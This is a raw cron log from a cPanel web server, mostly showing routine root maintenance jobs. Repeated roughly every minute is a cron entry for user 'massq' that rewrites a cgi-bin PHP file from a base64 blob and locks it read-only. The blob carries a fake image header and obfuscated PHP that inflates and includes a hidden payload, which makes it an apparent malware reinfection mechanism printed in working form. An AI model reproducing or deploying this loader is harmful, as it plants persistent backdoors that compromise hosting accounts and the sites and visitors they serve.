Sep  7 13:44:01 server CROND[31528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:45:01 server CROND[31926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:45:01 server CROND[31928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:45:01 server CROND[31933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:45:01 server CROND[31937]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:45:01 server CROND[31939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:45:01 server CROND[31936]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:45:01 server CROND[31941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:46:01 server CROND[32761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:46:01 server CROND[32762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:46:01 server CROND[32763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:47:01 server CROND[811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:47:01 server CROND[812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:47:01 server CROND[814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:48:01 server CROND[1311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:48:01 server CROND[1313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:48:01 server CROND[1314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:49:01 server CROND[1715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:49:01 server CROND[1716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:49:01 server CROND[1717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:50:01 server CROND[2141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:50:01 server CROND[2143]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:50:01 server CROND[2145]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:50:01 server CROND[2147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:50:01 server CROND[2154]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:50:01 server CROND[2156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:50:01 server CROND[2153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:50:01 server CROND[2152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:50:01 server CROND[2158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:51:01 server CROND[3024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:51:01 server CROND[3025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:51:01 server CROND[3026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:52:01 server CROND[3504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:52:01 server CROND[3505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:52:01 server CROND[3508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:53:01 server CROND[3893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:53:01 server CROND[3892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:53:01 server CROND[3894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:54:01 server CROND[4281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:54:01 server CROND[4282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:54:01 server CROND[4283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:55:01 server CROND[4677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:55:01 server CROND[4678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 13:55:01 server CROND[4679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:55:01 server CROND[4680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:55:01 server CROND[4688]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 13:55:01 server CROND[4686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:55:01 server CROND[4687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:56:01 server CROND[5520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
